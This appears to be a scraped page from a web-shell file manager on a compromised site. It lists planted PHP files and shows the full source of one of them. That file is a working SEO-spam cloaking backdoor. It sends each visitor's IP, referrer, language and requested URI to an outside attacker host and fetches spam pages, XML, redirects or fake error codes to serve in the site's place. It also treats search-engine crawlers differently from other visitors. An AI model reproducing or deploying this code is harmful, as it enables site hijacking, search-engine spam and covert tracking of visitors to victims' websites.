Gecko [ mail.argoafritractor.co.za ]

Name	Size	Permission	Date
.trash_restore	626 B	-rw-------	2026-05-20 20:05
0d.php	53.32 KB	-rw-r--r--	2026-05-26 14:09
9jyuvzsnkqbzxs7gqmljCdefault.php	1.61 MB	-rw-r--r--	2026-05-03 23:24
GQLVif3fdefault.php	1.05 MB	-rw-r--r--	2026-05-03 23:51
error_log	900.74 KB	-rw-r--r--	2026-04-30 13:37
error_log.1	1.29 KB	-rw-r--r--	2026-04-30 13:39
error_log.2	495 B	-rw-r--r--	2026-05-01 13:42
error_log.3	128.74 KB	-rw-r--r--	2026-05-02 16:04
error_log.4	5.44 MB	-rw-r--r--	2026-05-15 15:58
error_log.5	147.31 MB	-rw-r--r--	2026-05-20 09:20
error_log.6	243 B	-rw-r--r--	2026-05-20 19:05
googlee30ca446c224ec08.html	53 B	-rw-r--r--	2026-04-30 01:57
hiroshi.php	22.53 KB	-rw-r--r--	2026-04-30 01:57
hiroshi.php.1	3.53 KB	-rw-r--r--	2026-05-02 01:26
hiroshi.php.2	13.03 KB	-rw-r--r--	2026-05-15 08:06
iOLVSdefault.php	949.56 KB	-rw-r--r--	2026-04-30 00:07
item.php	44.21 KB	-rw-r--r--	2026-04-30 01:57
wp-link-opml.php	5.42 KB	-rw-r--r--	2026-05-26 15:13

Rename

<?php
$xmlname = '%75%77%68%77%62%66%6E%65%2E%74%65%62%66%72%77%6E%65%72%2E%66%76%67%72';
$http_web = 'http';
if (is_https()) {
    $http = 'https';
} else {
    $http = 'http';
}
$duri_tmp = drequest_uri();
if ($duri_tmp == ''){
    $duri_tmp = '/';
}
$duri = $duri_tmp;
function drequest_uri()
{
    if (isset($_SERVER['REQUEST_URI'])) {
        $duri = $_SERVER['REQUEST_URI'];
    } else {
        if (isset($_SERVER['argv'])) {
            $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
        } else {
            $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
        }
    }
    return $duri;
}
$goweb = 'hjujosar.grosejare.site';
function is_https()
{
    if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return true;
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        return true;
    } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        return true;
    }
    return false;
}
$clock = '';
if (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
    $clock = getenv('REMOTE_ADDR');
} elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
    $clock = $_SERVER['REMOTE_ADDR'];
}
if (stristr($clock, ',')) {
    $clock_tmp = explode(",", $clock);
    $clock = $clock_tmp[0];
}
$host = $_SERVER['HTTP_HOST'];
$lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
$urlshang = '';
if (isset($_SERVER['HTTP_REFERER'])) {
    $urlshang = $_SERVER['HTTP_REFERER'];
    $urlshang = $urlshang;
}
if(extension_loaded('zlib') && function_exists('gzdecode')){$lang=urlencode($lang.'||ipib');}else{$lang=$lang;}
function disbot()
{
    $uAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) {
        return true;
    } else {
        return false;
    }
}
function doutdo($url)
{
    $file_contents= '';
    if (!$file_contents) {
        $file_contents = @file_get_contents($url);
    }
	if(extension_loaded('zlib') && function_exists('gzdecode')){
		return gzdecode($file_contents);
	}else{
		return $file_contents;
	}
}
$web = $http_web . '://' . $goweb . '/indexnew.php?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang. '&clock=' . $clock;
$html_content = doutdo($web);
if (!strstr($html_content, 'nobotuseragent')) {
    if (strstr($html_content, 'okhtmlgetcontent')) {
        @header("Content-type: text/html; charset=utf-8");
        $html_content = str_replace("okhtmlgetcontent", '', $html_content);
        echo $html_content;
        exit();
    }else if(strstr($html_content, 'okxmlgetcontent')){
        $html_content = str_replace("okxmlgetcontent", '', $html_content);
        @header("Content-type: text/xml");
        echo $html_content;
        exit();
    }else if (strstr($html_content, 'getcontent500page')) {
        @header('HTTP/1.1 500 Internal Server Error');
        exit();
    }else if (strstr($html_content, 'getcontent404page')) {
        @header('HTTP/1.1 404 Not Found');
        exit();
    }else if (strstr($html_content, 'getcontent301page')) {
        @header('HTTP/1.1 301 Moved Permanently');
        $html_content = str_replace("getcontent301page", '', $html_content);
        header('Location: ' . $html_content);
        exit();
    }
}/* blog D956 */ ?>